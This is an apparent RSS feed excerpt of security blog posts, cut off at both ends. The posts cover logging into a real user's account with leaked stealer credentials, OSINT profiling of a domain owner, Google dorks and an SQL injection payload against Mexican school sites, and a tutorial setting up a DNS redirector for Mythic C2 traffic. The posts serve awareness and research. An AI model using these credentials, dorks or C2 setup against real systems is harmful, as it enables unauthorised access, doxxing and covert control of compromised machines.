src="https://cdn-images-1.medium.com/max/381/1*fFDojIF93nb3O5h7qRF1-w.png" /><figcaption>ULP Telegram Bot</figcaption></figure><p>Then with the leaked credentials file download, we can review line by line to check the data and select one ULP record to test. It is important to note that not all the lines are valid; they may have been changed by the account owner after the exfiltration. Note in the image the : that separates each element of the <strong>ULP</strong>. For privacy reasons, I blur the URL, email, and password; just a segment of the email is shown to identify the user in the test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*7sW0cNlfKRepLZz1c_mvww.png" /><figcaption>ULP line from telegram Bot</figcaption></figure><p>Now if the URL is valid like this one, we can test the leaked credentials. Some sites use security measures like blocking connections from different countries to the website, but this can be bypassed with a VPN using a server in the same country as the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Nczvc0SRkJ-qZxZNr44MlQ.png" /><figcaption>Login from the ULP file record</figcaption></figure><p>In this case the credentials used for the test were valid; note that the username is the same as the email segment shown in the TXT file. This site allows us to watch personal information about the user because it is a website to apply for a government job, and it has the forms filled for users with personal details like address, contact methods, family information, and access to a webmail inbox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PwJLAea1tnw9xBAE5F7ReA.png" /><figcaption>Access gained with ULP data</figcaption></figure><p>Here the system is for <strong>non-privileged users</strong>, but in ULPs it is also possible to find access credentials to server management applications like cPanel, WHM, WordPress, and other types of platforms and technologies that allow access to the server through a reverse shell, for example.</p><h4>Quick Talk with The Bot developer</h4><p>I have spoken with the admin and developer of a Telegram bot that searches leaked data in their own database, one of the biggest in the world. Having these talks is very important to see the cybersecurity environment from other perspectives to improve our knowledge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*UrB3N5FxeL9E0E5J5zlJlg.png" /><figcaption>Telegram Bot start message</figcaption></figure><p>Why do tech-skilled people choose to create a public tool to search leaked credentials? Well, the bot developer, <strong>referred to as K</strong>, says that this tool was created for their own use, but when they realized how well it worked, they decided to make it public and free, and the bot is now widely used because of the simplicity and the big data volume that it provides to users.</p><p>About the simplicity of the bot, the users can search leaks by web domains, by email, and by password — all of this for free — and there is just one paid feature that is like a filter to search in strict mode for leaks of a web domain or web page. I askedK if the charge for this function is profitable, but it says that it is more to cover the cost of the needed PC resources because the tool consumes a lot of them. It also mentions creating new features in the future but does not know what.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*TCllyn8QR4ObakPJd02d0w.png" /><figcaption>Search by email feature</figcaption></figure><p>The BOT works as an access point of a leaks database, and as K says, the source of this data is stealers, a malware type that is widely spread and uses mining data from victims that ends up in these databases available to everyone, and in K’s words, this is due to “<strong>human stupidity and naivety</strong>” He also says that these attacks can be avoided if users do not open or run unknown EXE files.</p><blockquote>Special thanks to <strong>K</strong> for their time and kindness</blockquote><p>The easy way to get leaked credentials with tools like the one shown above demonstrates the importance of using devices safely and avoiding executing unknown files on our machines, because it is possible to find inside the <strong>ULP files</strong> leaked passwords that were created following secure practices like the ones <a href="https://www.cisa.gov/secure-our-world/use-strong-passwords">described here</a>, for example, <strong>k8dfh8c@Pfv0gB2</strong>, but were stored unsafely or typed while a stealer was running.</p><p>Also, using these tools to check for our own domains or emails is a good way to stay safe with active monitoring to discover some data breaches and leaks from our systems, preventing an attack with our exposed credentials.</p><p>If you like this content, support our project, follow us on Instagram <a href="https://www.instagram.com/umbraxsecure/">@umbraxsecure</a>, and subscribe to our Medium.</p><blockquote><em>Know the threat.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=051fe7bf80d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your web domain is leaking your information]]></title>
            <link>https://medium.com/@0z4i/your-web-domain-is-leaking-your-information-e4ed9ec80025?source=rss-c27bd45ba098------2</link>
            <guid isPermaLink="false">https://medium.com/p/e4ed9ec80025</guid>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[data-leak]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[0z4i]]></dc:creator>
            <pubDate>Tue, 02 Sep 2025 17:53:50 GMT</pubDate>
            <atom:updated>2025-09-02T17:53:50.583Z</atom:updated>
            <content:encoded><![CDATA[<p>When we purchased a web domain, some providers offered the option to use the <a href="https://www.hostinger.com/tutorials/is-domain-privacy-worth-it"><strong>Domain Privacy Protection</strong></a>. This setup replaces the owner information with data from the registrar or fake data set by the owner. Then, when someone queries the domain’s <strong>WHOIS records</strong>, it retrieves the masked data and not the real.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*7G07Ow7sqKLy_leuvbcRng.png" /><figcaption>Domain Privacy Protection enabled example</figcaption></figure><p>If this protection is not enabled and the contact information has personal details and not the company data, it’s possible to conduct an information-gathering process to track the footprint of the domain owner to get more personal information. Depending on the context, it can be possible to conduct attacks like custom phishing or doxxing, or in a worst-case scenario, a physical attack like kidnapping. If the owner is linked to a state company, like in this case with a city hall government, attackers can use these personal details to get initial access to the company’s (government’s) systems or server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ay55_sdmSzczOFdCYzydVg.png" /><figcaption>Maltego graph of insights from domain owner name</figcaption></figure><p>This investigation began with a search of public documents on a government website. During the consultation, a log error was displayed that included the full path of the server(<a href="https://cwe.mitre.org/data/definitions/532.html">CWE-532</a>); while this is not definitive confirmation, it may indicate a potential vulnerability. Subsequently, I decided to investigate the government web domain using only <strong>OSINT</strong> methods and passive reconnaissance.</p><h4>Pivoting from owner name</h4><p>Querying the domain WHOIS records, personal details about the owner were shown; the administrative, technical, and billing contacts showed the same personal information. The name of the owner was used as seed data to perform a posterior Google dork search like this &quot;&lt;domain owner fullname&gt;&quot;, and I got a stroke of luck because this subject had a big digital footprint. The dork returned good information with mentions like public documents, public contact books, and public records.</p><p>The public documents found linked the subject to the same government that the web domain belongs to, confirming the initial <strong>WHOIS records</strong> information. The government public records show an institutional email address, information that is non-sensitive at first glance, but enriched with more data, it can be a potential vector to gain initial access.</p><p>In other documents a relationship with a company (tech supplier) was revealed, all the insigths about it indicate that the subject is the company manager, some of these documents are public tenders which show an stimate reveneu of their company, along with these documents web pages with public records confirm this bussines relationship and reveal contact data of the subject like <strong>phone numbers</strong>, <strong>RFC</strong> (mexican fical ID), <strong>email address</strong> and a <strong>home address</strong>, if a reverse search is performed from company name in google maps the results shows the images of the address this particular address (may be domain owner home) is register in google as company site, a phone number that match with others results, and the company web page.</p><p>A query on the company web domain shows contact data with the same name of the subject in the government website domain and other email addresses matching previous public records. It can be an indicator of poor security practices from the subject in the web pages that it administers.</p><p>Well, data collected is useless if it is only collected, but it can be useful after an analysis and make it actionable to conduct an operation like custom phishing suited to the found information, like email addresses or government job positions, or to make extortion using their home location. This, with a malicious actor considering the current Mexican security context, in addition to business activity information, can be dangerous for other serious attacks like kidnapping.</p><p>Also, the knowledge of a professional relationship between the subject and a government and their possible servers and systems access can be used to set the subject as a target to gain initial access to these systems, for example, with malware by the institutional email address as a delivery method. Also, some of the <strong>Mexican phone carriers have data breaches</strong> that are not difficult for attackers to find, and it is possible to use them as a source for gathering information about the target and getting more personal details.</p><h4>Possible Fix</h4><p>To avoid all of the above (based on WHOIS records), it’s needed to use a domain privacy protection or, alternatively, institutional or fake contact data if the context and norms permit it, but not use real personal data that puts your person or your organization at risk.</p><p>The big footprint of this subject (domain owner) enriches the attacker’s recognition; reducing your digital footprint and protecting your data can reduce the surface attack as previously mentioned. Also, for institutional or business activities, it’s a good idea to use information specifically linked to the organization in question as an isolated entity and not to your person, like the example mentioned above.</p><p>Remember, the size of your organization doesn’t matter; if you are a famous person or not doesn’t matter; all information useful for an attacker can be exploited against your safety; cyber threats go beyond the digital space; know your current security context and protect your data.</p><p>If you like this content, support our project, follow us on Instagram <a href="https://www.instagram.com/umbraxsecure/">@umbraxsecure</a>, and subscribe to our Medium.</p><blockquote><em>Know the threat.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e4ed9ec80025" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Hidden Data Leaks Threatening Universities]]></title>
            <link>https://medium.com/@0z4i/the-hidden-data-leaks-threatening-universities-871e3f847831?source=rss-c27bd45ba098------2</link>
            <guid isPermaLink="false">https://medium.com/p/871e3f847831</guid>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[data-leak]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[0z4i]]></dc:creator>
            <pubDate>Fri, 15 Aug 2025 03:41:08 GMT</pubDate>
            <atom:updated>2025-08-15T03:41:08.167Z</atom:updated>
            <content:encoded><![CDATA[<p>This investigation arose from a post found in a Breach Forums monitoring, where a URL of a Mexican university was mentioned, allowing access to the data despite having a login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*qCTss2gPn_jX0LBPmJaCNQ.png" /></figure><p>All the results found were based on the information found in the aforementioned post, which served as a basis for creating Google dorks that allowed for searches such as:</p><ol><li><strong>intitle:”index of” fotos alumnos :</strong> Find exposed directories with photographs of students<br>2. <strong>inurl: edu.mx intitle:”index of” *.zip :</strong> Find zipfiles on sites with the domain edu.mx<br>3. <strong>inurl:edu.mx intitle:”index of” *.zip &amp; *.php :</strong> Allows you to find backups in zipformat of phpcode.<br>4. <strong>inurl:.edu.mx intitle:”index of” *.sql :</strong> Allows you to find SQLfiles from the education system, often database dumps.</li></ol><p>As can be observed, these are quite simple dorks, but due to the exposure of these sites, they allow finding a large amount of sensitive information. Additionally, the data resulting from the dorks can be used as a pivot to move to other directories and obtain other data or paths to continue the collection. For example, several of the explored paths are not the base directory, which allows moving up the directory hierarchy to the base or entering subdirectories.</p><p>Another aspect used in these tests to reach more sections of the educational systems was removing the subdomain in the URLs that contained it, which redirected to the main site. For example, some of those found had this format https://mail.universidad.edu.mx, removing the subdomain mail and leaving only the URL as https://universidad.edu.mx. In some cases, it redirected to the main site, which allowed discovering more routes or vulnerable code.</p><p>The tests conducted are limited to discovering exposed data and analyzing the information derived from these findings, as well as the frontend code found on the pages, if permitted. No reconnaissance was performed on the infrastructure of these domains or sites found, such as port scanning or mapping of domain name records.</p><p>As a measure to protect the privacy of the institutions and individuals whose data were found, the complete URLs are not shown, and the photographs of individuals and personal data have also been censored.</p><h4>Broken Access Control</h4><p>In all the analyzed cases, the found sites were exposed directories, which demonstrates a misconfiguration, as sometimes the site may be protected by a login portal that grants access to a system from which the data is generated or obtained. However, if one directly accesses the directory path with the data, it bypasses this authentication, allowing access to the data from the unprotected routes.</p><p>For example, the site mentioned in the Breach Forums post was obtained with the dork intitle:&quot;index of&quot; fotos alumnos, the result of the dork gave a URL whose directory title has a format like index of /fotos/alumnos, this matches the dork, but if you visit the main path below where this directory is, it redirects to a login portal, but any path and subdirectory of the exposed part is accessible without authentication.</p><h4>Public directories leaks</h4><p>Some of the exposed directories contained files that are created to be publicly downloadable, they are assets of the pages, or they are paths to <strong>PHP</strong> files necessary for the functioning of web applications. In any of these cases, having a directory with public access is not a security flaw since such public access is necessary. However, the flaw found is that these directories contained files that should not be public, for example, code backups in <strong>ZIP</strong> formats, or <strong>SQL</strong> dumps of the databases.</p><p>These leaks can occur due to ignorance, bad practices, or irresponsibility on the part of sysadmins and developers of educational systems, but also because of the type of data found and the structure of the paths of these directories. The leaks may be there to facilitate access to the data, which leaves the information unprotected.</p><h4>La Información filtrada</h4><p><strong>Personal Data</strong></p><p>In one of the analyzed sites, the direct result of the dork led to a path with <strong>photographs of the students</strong>. Given the type of images, they appear to be identification photos, and the name of each file is the <strong>CURP</strong> of the person appearing in the image. When going to the parent directory, a subdirectory called /personal was found, which contains <strong>photographs of the workers</strong> in a format similar to that of the students, also named with a CURP.</p><p>Searching on Google with a simple dork like this &quot;&lt;CURP&gt;&quot; using any in the student directory yields a URL with a <strong>list of all the students in the school</strong>, in this list you can see the data:<br>- Full name<br>- CURP<br>- Specialty<br>- Degree<br>- Group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*qXEJqV8uQM6XZmEhGJdS6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*ZrMx_WBoLOecdiPqTEFAnw.png" /></figure><p>One aspect that makes this exposure delicate is that the institution is a high school, so many of its students are <strong>minors</strong> and with the mentioned list, the full name is already available, which if used in a search can yield more personal information, such as documents or public registry data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*QZaX9lzf1hO3KTkx3971gA.png" /></figure><p>For example, in the case of workers, no list was found as such, but in Mexico, with just the <strong>CURP</strong>, one can obtain the person’s full name from public records, as is the specific case of <a href="https://www.gob.mx/curp/">https://www.gob.mx/curp/</a>. This provides more information that can be used to personalize <strong>phishing</strong> attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Az64-BuEcqAe-ZmTiSBWKw.png" /></figure><p>As a demonstration, one of the workers’ photographs was used as a starting point to obtain their <strong>CURP</strong>. From this, it was searched on the previously mentioned public records site. With the full name obtained thru Google searches, the professional license number of the person in question was obtained, as well as the name of the university they graduated from and their profession.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zq17cwzELHbync11ZTSnVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8uWe88NdEc90v4-DyuGiPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HHX8ak30je1DPgQbUKqqAQ.png" /></figure><p>The search for the name also led to a document from the educational institution, which exposes the data, revealing another publicly accessible route with more downloadable documents. In this specific case, the found document mentions the person, along with the position they hold in the educational institution and their professional title, something that can be corroborated with the data from the public records of the professional license.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*L2clGv5RszGXB5iehA2SJA.png" /></figure><p>In another case, a leak of some <strong>python</strong> scripts used to electronically sign school documents was found, but to perform these actions a key is required. In this case, the element used as a key is a <strong>FIEL</strong> or <strong>Advanced Electronic Signature</strong>. This file is exposed in a directory called FIEL and the file name is a <strong>RFC</strong> (<strong>Federal Taxpayer Registry</strong>). Upon examining its content, there is a private key. This information can be abused by attackers to commit fraud since the <strong>FIEL</strong> can have the validity of a physical signature and is widely used in official procedures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*UXkUBYIToEN7PRw6KprPIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*GRTo52AdBD4tXmRRWXX_vg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*7Qx5Js6TZxSnYo6pJcCv5Q.png" /></figure><h4>Source Code</h4><p>A backup can preserve the state of a system, protecting it from poorly applied changes or data loss, but storing them in a location with no access controls, leaving these files exposed to the public, allows attackers to obtain a version of the school control system, which is often the most up-to-date, enabling a complete analysis of the code, finding attack vectors and highly vulnerable components. Additionally, this simplifies the entire reconnaissance process as a reverse engineering process of the <strong>APIs</strong> is not necessary since all the code is already available.</p><p>Among our findings, most of these systems are developed in <strong>PHP</strong>, which, when we find the code to be executable, does not allow us to read it. However, we found cases where there are <strong>ZIP</strong> files with backups of the source code with a difference of less than a year between the backup and the files in use. This indicates that they are not so outdated and allows for a study of the internal functioning of the web application.</p><p>Something that was identified in one of these cases is poor handling of the parameters passed to <strong>SQL</strong> queries, which allows for <strong>SQL injection</strong> attacks, vulnerabilities for which there is already quite a bit of useful information to mitigate and many solutions within the technologies used that are not new but help in secure software development by avoiding these problems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*llMMTVzHPUbKMy9UNb6DaQ.png" /></figure><p>The site with the <strong>SQLi</strong> vulnerability, within the code, has a condition where a username is used that we will not show for privacy reasons, but which can be used to exploit the vulnerability with a simple payload as USER&#39; OR 1=1#.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mWpsp1a-DeJIg-yNxCm8_A.png" /><figcaption><strong>Original Code</strong></figcaption></figure><p>As can be seen in the image, there is no validation or sanitization of the data sent by the user, and it is passed directly to the query parameters. Therefore, the previously mentioned payload, containing &#39;, truncates the text string, making it possible to replace the rest of the statement with a condition that evaluates to true, and the comment at the end # leaves the rest of the query unexecutable. The following image shows how the injection appears in the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OW1e20xoecI53cIopbQcgA.png" /><figcaption><strong>Code with injection</strong></figcaption></figure><p>This returns the corresponding user data and allows them to log into the system. There are several ways to mitigate this type of vulnerability, from the simplest, such as cleaning text strings or using preparation methods to serialize the parameters used in <strong>SQL</strong> requests and prevent code injection.</p><p>When working with <strong>SQL</strong> databases, dumps are often created, which are complete copies of the information and contain not only the data but also the entire database structure, allowing it to be replicated on another server. These types of files were also found, allowing an attacker to access the information backed up in the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*sYqUFIANuMxCSpDLUHPP6Q.png" /></figure><p>It is very important to protect access to these files, as these institutions handle information belonging to other people, such as students and employees. By being so irresponsible with the handling of this information, they allow anyone to obtain it, putting the individuals involved at risk, for example in dumps such as these, where there is personal information such as:<br>- Name<br>- Address<br>- Contact details<br>- CURP</p><p>Since it is not only the structure of the tables that is exposed, but also the data in <strong>INSERT</strong> statements, this allows for a serious leak of this information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ogHrDRhaNuJqvbhDqdETg.png" /></figure><h4>Credentials</h4><p>Within the sites reviewed, we found database connection data, mainly <strong>MYSQL</strong>, used in <strong>PHP</strong> and <strong>python</strong>, all with the data hardcoded in the code or generating exportable libraries, as in the case of those in <strong>PHP</strong>, or in .env, which are exposed with all the environment variables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*qFdLAhbVrAEW2e-8XPOiPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*ldkdRrCddPredffQg6jfRQ.png" /></figure><p>Some tests were carried out to determine the severity and find out if an external party could make the connection, but the servers had blocked these services externally, which, although a good security practice, does not make it 100% secure, since if an attacker gains access to one of these servers, they could access the database with these credentials. Furthermore, although the passwords appear to be secure due to the way they are formed, their storage method is not secure, as they are visible to anyone who finds them.</p><p>Another example of credential exposure is this one, where there is a <strong>JSON</strong> file apparently used to configure the backend, which establishes the <strong>API</strong> routes of the web application and some authentication credentials to be able to use the services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*0RzUkNU4D9SN36FuXxC-jg.png" /></figure><p>As a method of validating the exposed credentials, we tested sending a form simulating an authentication request using **cURL** with the following payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*5qNg1R3A_Q3xWWEMGeQ55A.png" /></figure><p>The response retrieved contains authentication tokens that are widely used as a control method in web applications. In this case, it is a <strong>bearer token</strong> that is normally sent in an authorization header in this way: authorization: bearer &lt;token&gt; .</p><p>Therefore, when testing by sending the previously obtained token to one of the <strong>JSON</strong> routes, the request responds with the data of the user to whom the <strong>API</strong> credentials correspond, and according to one of the returned parameters, it indicates that this user is active.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*cZq-Ww_cr6AQ_VjFDCNCtw.png" /></figure><p>One of the protected routes in the <strong>JSON</strong> that was censored in the image refers to a URL that provides student details using the CURP as an identifier and parameter in the same URL.</p><h4>Using system functions with exposed data</h4><p>There are systems with sections or features that can only be used if the correct parameters are provided, such as a specific identifier. Finding the necessary parameters may be possible by analyzing the filtered source code, as in the cases mentioned earlier in this report, but this identification can also be done by reviewing the data already available in the exposed directories.</p><p>Some Mexican universities use security measures for physical access to their facilities. These can be implemented using physical credentials linked to student accounts, as will be seen below, or with another personal identifier such as the CURP.</p><p>One of the subdirectories found contains QR codes that are most likely used in student identification, as there are templates for these credentials in other paths that contain the student’s photograph and a QR code very similar to those found. When reviewing the content stored in the QR code, a link with this format is obtained: https://&lt;url_base&gt;/&lt;school&gt;/constancia.php?curp=&lt;curp&gt;&amp;fecha=&lt;date&gt; .</p><p>If you click on this link, you will obtain a PDF file. This is an academic certification that includes the full name of the student corresponding to the CURP used as a parameter in the URL, as well as the degree program, grade, and group in which the student is enrolled. If the <strong>CURP</strong> parameter is changed to another one, such as those found in the student photo directory, another <strong>PDF</strong> file is generated with the corresponding student’s information. This is an example of the files that can be accessed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*HAcuSrocWb4W3GztRHX29w.png" /></figure><p>It is important to mention that in the same directory with the above-mentioned <strong>QR</strong> codes, there are records named with payloads of <strong>SQLi </strong>injections, which is an indicator of a file upload or generation endpoint, in this case <strong>QR</strong> codes, that was abused by a potential attacker. and due to the way the flow works when generating PDFs by calling any of these files, if the system is vulnerable to SQL injections, it can be exploited when searching for the CURP.</p><p>Reviewing some of these payloads, it can be seen that one of the reasons why there are many of these records is a possible test to determine the type of database used, since some of them contain statements such as <strong>PG_SLEEP</strong> used in Postgres, <strong>DBMS_PIPE</strong> used in Oracle databases, and when performing <strong>SQLi</strong> attacks, it is extremely important to identify the version and type of database running on the server to determine the payloads to use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*i34r1tU7CBMiVXgJFpEROw.png" /></figure><p>In other systems, it is possible to cause errors that provide a lot of information with very detailed logs, which can be used by attackers to find attack vectors. As mentioned above, the use of exposed code makes it possible to identify vulnerabilities, but even if these exposures did not exist, it is still possible to find them with such descriptive information in the error messages.</p><p>This is one of the cases where an error is referenced in which the connection to the database cannot be made, possibly because the connection is disabled or the credentials have been changed, but an important piece of information that can be used to exploit vulnerabilities is the full paths that appear in the error messages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*IXZaZUfQs8cIxQ6dnHbEdQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*s0EFueR7X-6f2N4Kpq12eA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*FK7Qb-1ZIjIrloFHbgW7Yw.png" /></figure><h4>Applicable measures</h4><p>Due to the origin of the data shown here, many of the leaks can be resolved with appropriate access control, adding permissions to web directories, and treating all data as private by default, only giving public access to data and files that require it.</p><p>The handling of personal information, especially when it belongs to third parties, requires great care and responsibility, as it can put at risk the people whose data is exposed, especially if, as mentioned in this report, those involved are in many cases minors. A lack of vision in how an attacker can use data that apparently has no use results in little or no protection of this information. Exposing photographs with identifiers such as <strong>CURP</strong>, <strong>RFC</strong>, or full names can be used, for example, in identity theft, especially if supplemented with other information found in different exposures or public records.</p><p>Code backups are another element that must be well protected due to the extensive information they provide to attackers in terms of system recognition. Leaving them in compressed files such as <strong>ZIP</strong> is bad practice, as in terms of development it is not an optimal way to manage application versions. You can implement the use of third-party repositories such as <strong>github</strong> or use solutions that can be implemented on your own servers, such as GitLab or Bitbucket.</p><p>The use of these repository services, together with <strong>git</strong> as a version control system, can prevent the accidental leakage of sensitive data such as credentials by configuring them correctly, for example with gitignore, or by reviewing the changes that are uploaded to the repositories themselves.</p><p>Regular monitoring of systems can reveal malicious or unwanted activity, giving sysadmins an idea of the vulnerabilities they are exposed to. For example, in the case of the <strong>Breach Forums</strong> post, which is the basis for this investigation. At the time of conducting all these tests and reviews, there were still interactions from forum users, so it is very likely that the system is being exploited by attackers, something that can only be identified through security reviews or until an attack is so noticeable that it stops the operation of the system or leaks data to a cybercrime site.</p><p>If you like this content, support our project, follow us on Instagram <a href="https://www.instagram.com/umbraxsecure/">@umbraxsecure</a>, and subscribe to our Medium.</p><blockquote>Know the threat.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=871e3f847831" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DNS Proxy for C2 Servers]]></title>
            <link>https://medium.com/@0z4i/dns-proxy-for-c2-servers-c1a3f2cf4944?source=rss-c27bd45ba098------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1a3f2cf4944</guid>
            <category><![CDATA[sysadmin]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[0z4i]]></dc:creator>
            <pubDate>Mon, 04 Aug 2025 14:01:57 GMT</pubDate>
            <atom:updated>2025-08-13T20:55:47.631Z</atom:updated>
            <content:encoded><![CDATA[<p>What happens after a device has been hacked? , It’s known as <strong>post-exploitation</strong>. In this stage, <strong>command and control servers</strong> (C2 Servers) are a very used tool; they allow us to centralize the control over our infected devices (target computers). We can send <strong>tasks</strong> like system commands to execute; with them, targets perform actions like exfiltrating information or downloading a new payload to execute malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_V0WfWsxMU4pZkO2WM1JAw.png" /></figure><p><strong>C2 servers</strong> use different communication methods, for example <strong>HTTP/HTTPS</strong>, to camouflage the network traffic and make it look similar to a normal request to a common web page, but we can use other network protocols to communicate with the server. Here I’ll show how to set up a <strong>DNS proxy</strong> to communicate with a <strong>C2 server</strong>.</p><h4>Setup proxy DNS</h4><p>But first, how does DNS (Domain Name System) work? Well, it’s like a translator, because IP addresses are difficult to remember by humans. For example, when a user enters a URL like google.com, the computer sends a DNS request to some servers until the IP address is found.</p><p>And it’s the same with <strong>subdomains</strong> this is the element that we’ll abuse to talk with the<strong> C2 server</strong>, a request to a <strong>DNS</strong> to resolve a subdomain look like this cdn.mydomain.com, note subdomain is added to the main domain mydomain.com, well We can send another subdomain likesomething.cdn.mydomain.com , and if we have a <strong>DNS server</strong>, it can resolve this petition, and a<strong> C2 server can host a DNS server</strong> to resolve this petition, but sending data that works as a message between the target and server, for example:</p><pre>target: hello.cdn.mydomain.com<br>server: hi.cdn.mydomain.com</pre><blockquote><strong>NOTE:</strong> This tutorial uses a real environment, not a local lab. This infrastructure uses two VPS.</blockquote><p>To make possible these communication methods, we need a <strong>domain</strong>; it can be obtained from different providers. Then, with a domain purchased, we need to create some <strong>DNS records</strong>.</p><p>1. An A record to the name server<br>2. NS Record managed by the A record</p><p><strong>DNS records</strong> should be like the following table:</p><pre><br>╔══════╦═══════════════════╦═══════════════════╦══════╗<br>║ Type ║       Host        ║       Value       ║ TTL  ║<br>╠══════╬═══════════════════╬═══════════════════╬══════╣<br>║ A    ║ ns1.mydomain.com  ║ proxy-server-IP   ║ auto ║<br>║ NS   ║ cdn.mydomain.com  ║ ns1.mydomain.com  ║ auto ║<br>╚══════╩═══════════════════╩═══════════════════╩══════╝</pre><p>In the first server, which is our DNS proxy and the one where the Arecord points, we need to enable <strong>IP forwarding</strong> and also create <strong>IP table rules</strong> for the forwarding. First, to enable IP forwarding, edit the file in /etc/sysctl.conf, add this line:</p><pre>net.ipv4.ip_forward = 1</pre><p>And apply change with:</p><pre>sudo sysctl -p</pre><p>For the IP table rules we need to create two, the first one to enable the rerouting and the last one to change the IP address from the proxy server to the C2 server to avoid bad DNS responses.</p><blockquote><strong>NOTE:</strong> Change C2_IP for your C2 server IP, and :53 is for DNS UDP port (53).</blockquote><pre>sudo iptables -t nat -A PREROUTING -p udp - dport 53 -j DNAT - to-destination C2_IP:53<br>sudo iptables -t nat -A POSTROUTING -p udp - dport 53 -j MASQUERADE</pre><p>Then in the C2 server, we need to enable <strong>INPUT</strong> and <strong>OUTPUT</strong> DNS traffic. These rules can be for all the origins and destinations or for a specific one. In this case, enabling <strong>INPUT</strong> and <strong>OUTPUT</strong> just for a specific host provides more security. Then the rules are:</p><pre>sudo iptables -A INPUT -p udp - dport 53 -s PROXY_IP -m conntrack - ctstate NEW,ESTABLISHED -j ACCEPT<br>sudo iptables -A OUTPUT -p udp - sport 53 -d PROXY_IP -m conntrack - ctstate ESTABLISHED -j ACCEPT</pre><blockquote><strong>NOTE:</strong> Change PROXY_IP for the IP address of your proxy server, the same address to which Record A points.</blockquote><p>This is all the basic configuration for the DNS proxy. To test this in the C2 server, run the following command to see the DNS traffic forwarded from the proxy.</p><pre>sudo tcpdump -ni any port 53</pre><p>To get test traffic, run the following command on the other computer:</p><pre>dig @IP_PROXY cdn.mydomain.com.</pre><blockquote><strong>NOTE:</strong> Use IP_PROXY to use it as a resolver, and change cdn.mydomain.com to your NS record, add the . and end.</blockquote><p>If all is OK, you should see the traffic in <strong>tcpdump</strong>, but <strong>dig</strong> will get a timeout response because we don’t have a DNS server listening. If you can see the traffic in the <strong>tcpdump</strong> now, this configuration can work for many C2 servers that allow DNS communications.</p><h4>Mythic C2 Server Example</h4><blockquote>If you want to install Mythic C2, read <a href="https://docs.mythic-c2.net/installation">the documentation</a></blockquote><p>Now to test with a C2 server in action, I’ll show an example to Mythic to use DNS in this server first. We need to install a specific agent and profile.</p><p><strong>NOTE: </strong>Run these commands in the mythic installation directory.</p><p><strong>Install Poseidon agent:</strong></p><pre>sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon</pre><p><strong>Install DNS profile:</strong></p><pre>sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns</pre><blockquote><strong>NOTE:</strong> The DNS profile in Mythic is in beta version and only works for the Poseidon agent that targets Linux and macOS systems.</blockquote><p>If the installation is successful, Mythic should show the profile and agent installed in the payload/C2 Service section like the following image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aX7mptntp1HiNt4NrAEaqA.png" /></figure><p>In order to compile the payload to test our configured infrastructure, in the payload section, first select Linux as the target operating system because the Poseidon agent</p><figure><img alt="" 